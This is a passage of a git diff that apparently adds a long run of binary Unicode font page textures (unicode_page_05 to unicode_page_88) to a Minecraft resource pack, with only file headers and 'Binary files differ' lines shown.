a/src/assets/minecraft/textures/font/unicode_page_05.png b/src/assets/minecraft/textures/font/unicode_page_05.png new file mode 100644 index 00000000..32b1c882 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_05.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_06.png b/src/assets/minecraft/textures/font/unicode_page_06.png new file mode 100644 index 00000000..825e8773 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_06.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_07.png b/src/assets/minecraft/textures/font/unicode_page_07.png new file mode 100644 index 00000000..865b092e Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_07.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_09.png b/src/assets/minecraft/textures/font/unicode_page_09.png new file mode 100644 index 00000000..d6407e37 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_09.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_0a.png b/src/assets/minecraft/textures/font/unicode_page_0a.png new file mode 100644 index 00000000..a858b78d Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_0a.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_0b.png b/src/assets/minecraft/textures/font/unicode_page_0b.png new file mode 100644 index 00000000..3dd0aca6 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_0b.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_0c.png b/src/assets/minecraft/textures/font/unicode_page_0c.png new file mode 100644 index 00000000..2f75930b Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_0c.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_0d.png b/src/assets/minecraft/textures/font/unicode_page_0d.png new file mode 100644 index 00000000..8eff12c6 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_0d.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_0e.png b/src/assets/minecraft/textures/font/unicode_page_0e.png new file mode 100644 index 00000000..03b8f531 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_0e.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_0f.png b/src/assets/minecraft/textures/font/unicode_page_0f.png new file mode 100644 index 00000000..b89ee65b Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_0f.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_10.png b/src/assets/minecraft/textures/font/unicode_page_10.png new file mode 100644 index 00000000..b3eb7468 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_10.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_11.png b/src/assets/minecraft/textures/font/unicode_page_11.png new file mode 100644 index 00000000..85e714ca Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_11.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_12.png b/src/assets/minecraft/textures/font/unicode_page_12.png new file mode 100644 index 00000000..a6580cd1 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_12.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_13.png b/src/assets/minecraft/textures/font/unicode_page_13.png new file mode 100644 index 00000000..a847ba77 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_13.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_14.png b/src/assets/minecraft/textures/font/unicode_page_14.png new file mode 100644 index 00000000..bec88305 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_14.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_15.png b/src/assets/minecraft/textures/font/unicode_page_15.png new file mode 100644 index 00000000..fb372b21 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_15.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_16.png b/src/assets/minecraft/textures/font/unicode_page_16.png new file mode 100644 index 00000000..ee6efedb Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_16.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_17.png b/src/assets/minecraft/textures/font/unicode_page_17.png new file mode 100644 index 00000000..53d48d29 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_17.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_18.png b/src/assets/minecraft/textures/font/unicode_page_18.png new file mode 100644 index 00000000..10329425 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_18.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_19.png b/src/assets/minecraft/textures/font/unicode_page_19.png new file mode 100644 index 00000000..28dce5d0 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_19.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_1a.png b/src/assets/minecraft/textures/font/unicode_page_1a.png new file mode 100644 index 00000000..edf8116e Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_1a.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_1b.png b/src/assets/minecraft/textures/font/unicode_page_1b.png new file mode 100644 index 00000000..3ddb4c61 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_1b.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_1c.png b/src/assets/minecraft/textures/font/unicode_page_1c.png new file mode 100644 index 00000000..8884fd2d Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_1c.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_1d.png b/src/assets/minecraft/textures/font/unicode_page_1d.png new file mode 100644 index 00000000..ca0b0771 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_1d.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_1e.png b/src/assets/minecraft/textures/font/unicode_page_1e.png new file mode 100644 index 00000000..9206f327 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_1e.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_1f.png b/src/assets/minecraft/textures/font/unicode_page_1f.png new file mode 100644 index 00000000..7e286329 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_1f.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_20.png b/src/assets/minecraft/textures/font/unicode_page_20.png new file mode 100644 index 00000000..986dbbfc Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_20.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_21.png b/src/assets/minecraft/textures/font/unicode_page_21.png new file mode 100644 index 00000000..b2c5ed4f Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_21.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_22.png b/src/assets/minecraft/textures/font/unicode_page_22.png new file mode 100644 index 00000000..be83259d Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_22.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_23.png b/src/assets/minecraft/textures/font/unicode_page_23.png new file mode 100644 index 00000000..09a9de80 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_23.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_24.png b/src/assets/minecraft/textures/font/unicode_page_24.png new file mode 100644 index 00000000..17da6400 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_24.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_25.png b/src/assets/minecraft/textures/font/unicode_page_25.png new file mode 100644 index 00000000..6ac17b63 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_25.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_26.png b/src/assets/minecraft/textures/font/unicode_page_26.png new file mode 100644 index 00000000..615dfa68 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_26.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_27.png b/src/assets/minecraft/textures/font/unicode_page_27.png new file mode 100644 index 00000000..bbe69f7e Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_27.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_28.png b/src/assets/minecraft/textures/font/unicode_page_28.png new file mode 100644 index 00000000..7d818ff0 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_28.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_29.png b/src/assets/minecraft/textures/font/unicode_page_29.png new file mode 100644 index 00000000..0947b659 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_29.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_2a.png b/src/assets/minecraft/textures/font/unicode_page_2a.png new file mode 100644 index 00000000..75319b54 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_2a.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_2b.png b/src/assets/minecraft/textures/font/unicode_page_2b.png new file mode 100644 index 00000000..93390c21 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_2b.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_2c.png b/src/assets/minecraft/textures/font/unicode_page_2c.png new file mode 100644 index 00000000..c4d9cb2f Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_2c.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_2d.png b/src/assets/minecraft/textures/font/unicode_page_2d.png new file mode 100644 index 00000000..5753d021 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_2d.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_2e.png b/src/assets/minecraft/textures/font/unicode_page_2e.png new file mode 100644 index 00000000..1c0a2229 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_2e.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_2f.png b/src/assets/minecraft/textures/font/unicode_page_2f.png new file mode 100644 index 00000000..054bc408 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_2f.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_30.png b/src/assets/minecraft/textures/font/unicode_page_30.png new file mode 100644 index 00000000..ab73978d Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_30.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_31.png b/src/assets/minecraft/textures/font/unicode_page_31.png new file mode 100644 index 00000000..ae293b90 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_31.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_32.png b/src/assets/minecraft/textures/font/unicode_page_32.png new file mode 100644 index 00000000..229ab5c2 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_32.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_33.png b/src/assets/minecraft/textures/font/unicode_page_33.png new file mode 100644 index 00000000..6eaac244 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_33.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_34.png b/src/assets/minecraft/textures/font/unicode_page_34.png new file mode 100644 index 00000000..6309118c Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_34.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_35.png b/src/assets/minecraft/textures/font/unicode_page_35.png new file mode 100644 index 00000000..a740bdc9 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_35.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_36.png b/src/assets/minecraft/textures/font/unicode_page_36.png new file mode 100644 index 00000000..5d449c33 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_36.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_37.png b/src/assets/minecraft/textures/font/unicode_page_37.png new file mode 100644 index 00000000..c4707c62 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_37.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_38.png b/src/assets/minecraft/textures/font/unicode_page_38.png new file mode 100644 index 00000000..a2d05c81 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_38.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_39.png b/src/assets/minecraft/textures/font/unicode_page_39.png new file mode 100644 index 00000000..7e02109e Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_39.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_3a.png b/src/assets/minecraft/textures/font/unicode_page_3a.png new file mode 100644 index 00000000..548fa074 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_3a.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_3b.png b/src/assets/minecraft/textures/font/unicode_page_3b.png new file mode 100644 index 00000000..9da10b10 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_3b.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_3c.png b/src/assets/minecraft/textures/font/unicode_page_3c.png new file mode 100644 index 00000000..c4bbe7db Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_3c.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_3d.png b/src/assets/minecraft/textures/font/unicode_page_3d.png new file mode 100644 index 00000000..2df1f963 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_3d.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_3e.png b/src/assets/minecraft/textures/font/unicode_page_3e.png new file mode 100644 index 00000000..e0c71785 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_3e.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_3f.png b/src/assets/minecraft/textures/font/unicode_page_3f.png new file mode 100644 index 00000000..81f03b78 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_3f.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_40.png b/src/assets/minecraft/textures/font/unicode_page_40.png new file mode 100644 index 00000000..c2910f40 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_40.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_41.png b/src/assets/minecraft/textures/font/unicode_page_41.png new file mode 100644 index 00000000..1e6edfc4 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_41.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_42.png b/src/assets/minecraft/textures/font/unicode_page_42.png new file mode 100644 index 00000000..feff714c Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_42.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_43.png b/src/assets/minecraft/textures/font/unicode_page_43.png new file mode 100644 index 00000000..eda28990 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_43.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_44.png b/src/assets/minecraft/textures/font/unicode_page_44.png new file mode 100644 index 00000000..1373dc84 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_44.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_45.png b/src/assets/minecraft/textures/font/unicode_page_45.png new file mode 100644 index 00000000..a8d4db36 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_45.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_46.png b/src/assets/minecraft/textures/font/unicode_page_46.png new file mode 100644 index 00000000..0da96358 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_46.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_47.png b/src/assets/minecraft/textures/font/unicode_page_47.png new file mode 100644 index 00000000..68eedf42 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_47.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_48.png b/src/assets/minecraft/textures/font/unicode_page_48.png new file mode 100644 index 00000000..30e2e83a Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_48.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_49.png b/src/assets/minecraft/textures/font/unicode_page_49.png new file mode 100644 index 00000000..046646a6 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_49.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_4a.png b/src/assets/minecraft/textures/font/unicode_page_4a.png new file mode 100644 index 00000000..f1ffb0e8 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_4a.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_4b.png b/src/assets/minecraft/textures/font/unicode_page_4b.png new file mode 100644 index 00000000..eaab3e4e Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_4b.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_4c.png b/src/assets/minecraft/textures/font/unicode_page_4c.png new file mode 100644 index 00000000..4e4b7a21 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_4c.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_4d.png b/src/assets/minecraft/textures/font/unicode_page_4d.png new file mode 100644 index 00000000..d460d70d Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_4d.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_4e.png b/src/assets/minecraft/textures/font/unicode_page_4e.png new file mode 100644 index 00000000..be8546c8 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_4e.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_4f.png b/src/assets/minecraft/textures/font/unicode_page_4f.png new file mode 100644 index 00000000..cdf58f34 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_4f.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_50.png b/src/assets/minecraft/textures/font/unicode_page_50.png new file mode 100644 index 00000000..a31aff55 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_50.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_51.png b/src/assets/minecraft/textures/font/unicode_page_51.png new file mode 100644 index 00000000..72cb5ab0 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_51.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_52.png b/src/assets/minecraft/textures/font/unicode_page_52.png new file mode 100644 index 00000000..81bbd781 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_52.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_53.png b/src/assets/minecraft/textures/font/unicode_page_53.png new file mode 100644 index 00000000..238c8307 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_53.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_54.png b/src/assets/minecraft/textures/font/unicode_page_54.png new file mode 100644 index 00000000..3fd0cd72 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_54.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_55.png b/src/assets/minecraft/textures/font/unicode_page_55.png new file mode 100644 index 00000000..698ce0d1 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_55.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_56.png b/src/assets/minecraft/textures/font/unicode_page_56.png new file mode 100644 index 00000000..f0dad795 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_56.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_57.png b/src/assets/minecraft/textures/font/unicode_page_57.png new file mode 100644 index 00000000..715e1eff Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_57.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_58.png b/src/assets/minecraft/textures/font/unicode_page_58.png new file mode 100644 index 00000000..beabcc11 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_58.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_59.png b/src/assets/minecraft/textures/font/unicode_page_59.png new file mode 100644 index 00000000..f6235115 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_59.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_5a.png b/src/assets/minecraft/textures/font/unicode_page_5a.png new file mode 100644 index 00000000..1e83420b Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_5a.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_5b.png b/src/assets/minecraft/textures/font/unicode_page_5b.png new file mode 100644 index 00000000..852f0743 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_5b.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_5c.png b/src/assets/minecraft/textures/font/unicode_page_5c.png new file mode 100644 index 00000000..412d2892 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_5c.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_5d.png b/src/assets/minecraft/textures/font/unicode_page_5d.png new file mode 100644 index 00000000..2c4714ca Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_5d.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_5e.png b/src/assets/minecraft/textures/font/unicode_page_5e.png new file mode 100644 index 00000000..4eb52672 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_5e.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_5f.png b/src/assets/minecraft/textures/font/unicode_page_5f.png new file mode 100644 index 00000000..151f8d46 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_5f.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_60.png b/src/assets/minecraft/textures/font/unicode_page_60.png new file mode 100644 index 00000000..333efc08 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_60.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_61.png b/src/assets/minecraft/textures/font/unicode_page_61.png new file mode 100644 index 00000000..9c183924 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_61.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_62.png b/src/assets/minecraft/textures/font/unicode_page_62.png new file mode 100644 index 00000000..9555a9d5 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_62.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_63.png b/src/assets/minecraft/textures/font/unicode_page_63.png new file mode 100644 index 00000000..4ab408a4 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_63.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_64.png b/src/assets/minecraft/textures/font/unicode_page_64.png new file mode 100644 index 00000000..ec8e90bc Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_64.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_65.png b/src/assets/minecraft/textures/font/unicode_page_65.png new file mode 100644 index 00000000..d9da268f Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_65.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_66.png b/src/assets/minecraft/textures/font/unicode_page_66.png new file mode 100644 index 00000000..bf39744d Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_66.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_67.png b/src/assets/minecraft/textures/font/unicode_page_67.png new file mode 100644 index 00000000..c5d51c11 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_67.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_68.png b/src/assets/minecraft/textures/font/unicode_page_68.png new file mode 100644 index 00000000..321e8ee0 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_68.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_69.png b/src/assets/minecraft/textures/font/unicode_page_69.png new file mode 100644 index 00000000..1a969acd Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_69.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_6a.png b/src/assets/minecraft/textures/font/unicode_page_6a.png new file mode 100644 index 00000000..b67475b0 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_6a.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_6b.png b/src/assets/minecraft/textures/font/unicode_page_6b.png new file mode 100644 index 00000000..82e083a2 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_6b.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_6c.png b/src/assets/minecraft/textures/font/unicode_page_6c.png new file mode 100644 index 00000000..d2b50af0 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_6c.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_6d.png b/src/assets/minecraft/textures/font/unicode_page_6d.png new file mode 100644 index 00000000..2e1dfd16 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_6d.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_6e.png b/src/assets/minecraft/textures/font/unicode_page_6e.png new file mode 100644 index 00000000..495a4c1f Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_6e.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_6f.png b/src/assets/minecraft/textures/font/unicode_page_6f.png new file mode 100644 index 00000000..80e49933 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_6f.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_70.png b/src/assets/minecraft/textures/font/unicode_page_70.png new file mode 100644 index 00000000..15694bbe Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_70.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_71.png b/src/assets/minecraft/textures/font/unicode_page_71.png new file mode 100644 index 00000000..ff04b6ac Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_71.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_72.png b/src/assets/minecraft/textures/font/unicode_page_72.png new file mode 100644 index 00000000..67c64615 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_72.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_73.png b/src/assets/minecraft/textures/font/unicode_page_73.png new file mode 100644 index 00000000..4bafafaa Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_73.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_74.png b/src/assets/minecraft/textures/font/unicode_page_74.png new file mode 100644 index 00000000..ec0f591a Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_74.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_75.png b/src/assets/minecraft/textures/font/unicode_page_75.png new file mode 100644 index 00000000..00e2c71b Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_75.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_76.png b/src/assets/minecraft/textures/font/unicode_page_76.png new file mode 100644 index 00000000..e76fbee3 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_76.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_77.png b/src/assets/minecraft/textures/font/unicode_page_77.png new file mode 100644 index 00000000..08a22ff8 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_77.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_78.png b/src/assets/minecraft/textures/font/unicode_page_78.png new file mode 100644 index 00000000..d6e34184 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_78.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_79.png b/src/assets/minecraft/textures/font/unicode_page_79.png new file mode 100644 index 00000000..b11efa83 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_79.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_7a.png b/src/assets/minecraft/textures/font/unicode_page_7a.png new file mode 100644 index 00000000..f3ff655c Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_7a.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_7b.png b/src/assets/minecraft/textures/font/unicode_page_7b.png new file mode 100644 index 00000000..6b3038cb Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_7b.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_7c.png b/src/assets/minecraft/textures/font/unicode_page_7c.png new file mode 100644 index 00000000..3ffe7a71 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_7c.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_7d.png b/src/assets/minecraft/textures/font/unicode_page_7d.png new file mode 100644 index 00000000..700ab759 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_7d.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_7e.png b/src/assets/minecraft/textures/font/unicode_page_7e.png new file mode 100644 index 00000000..34c8c54c Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_7e.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_7f.png b/src/assets/minecraft/textures/font/unicode_page_7f.png new file mode 100644 index 00000000..ad3b0708 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_7f.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_80.png b/src/assets/minecraft/textures/font/unicode_page_80.png new file mode 100644 index 00000000..f9a954c2 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_80.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_81.png b/src/assets/minecraft/textures/font/unicode_page_81.png new file mode 100644 index 00000000..97d56672 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_81.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_82.png b/src/assets/minecraft/textures/font/unicode_page_82.png new file mode 100644 index 00000000..5acf8aaa Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_82.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_83.png b/src/assets/minecraft/textures/font/unicode_page_83.png new file mode 100644 index 00000000..b1a29e44 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_83.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_84.png b/src/assets/minecraft/textures/font/unicode_page_84.png new file mode 100644 index 00000000..9dd7e51c Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_84.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_85.png b/src/assets/minecraft/textures/font/unicode_page_85.png new file mode 100644 index 00000000..6f72b8bf Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_85.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_86.png b/src/assets/minecraft/textures/font/unicode_page_86.png new file mode 100644 index 00000000..91d82f37 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_86.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_87.png b/src/assets/minecraft/textures/font/unicode_page_87.png new file mode 100644 index 00000000..002bbc63 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_87.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_88.png 